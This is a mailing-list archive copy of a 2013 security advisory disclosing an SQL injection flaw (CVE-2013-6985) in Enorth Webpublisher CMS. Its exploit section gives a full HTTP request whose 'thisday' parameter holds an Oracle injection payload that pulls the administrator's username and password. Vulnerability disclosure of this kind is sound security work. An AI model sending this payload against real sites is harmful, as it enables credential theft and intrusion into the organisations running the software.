[<prev] [next>] [day] [month] [year] [list]
Message-Id: <8FC91C11-E694-451F-B82E-0EB383DA97D3@dbappsecurity.com.cn>
Date: Fri, 6 Dec 2013 10:18:23 +0800
From: xin.wang <xin.wang@...ppsecurity.com.cn>
To: full-disclosure@...ts.grok.org.uk
Cc: bugtraq@...urityfocus.com
Subject: [CVE-2013-6985]SQL Injection Vulnerability In
Enorth Webpublisher CMS
Title:
====
[CVE-2013-6985]SQL Injection Vulnerability In Enorth Webpublisher CMS
Vendor:
======
http://products.enorth.com.cn/bfnrglxt/index.shtml
Severity:
=======
Important
Versions Affected:
==============
All versions
Author:
======
xin.wang(xin.wang(at)dbappsecurity.com.cn)
Abstract:
=======
Webpublisher CMS so far of the scale of tens of thousands of web sites, with the government, enterprises, scientific research and education and media industries fields such as nearly thousands of business users.
The Vulnerability Laboratory Research Team discovered SQL Injection vulnerability in all versions of Enorth Webpublisher CMS.
Exploit:
======
POST /pub/m_worklog/log_searchday.jsp HTTP/1.1
Host: www.test.com
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Cookie:
Pragma: no-cache
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 180
thisday=20131012') and UTL_INADDR.get_host_name((select v from (select rownum,USER_NAME||chr(94)||PASS_WORD v from TN_USER WHERE USER_ID=1) where rownum=1))>0--&cx.y=16&querytype=1
=====================================
Content of type "text/html" skipped
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists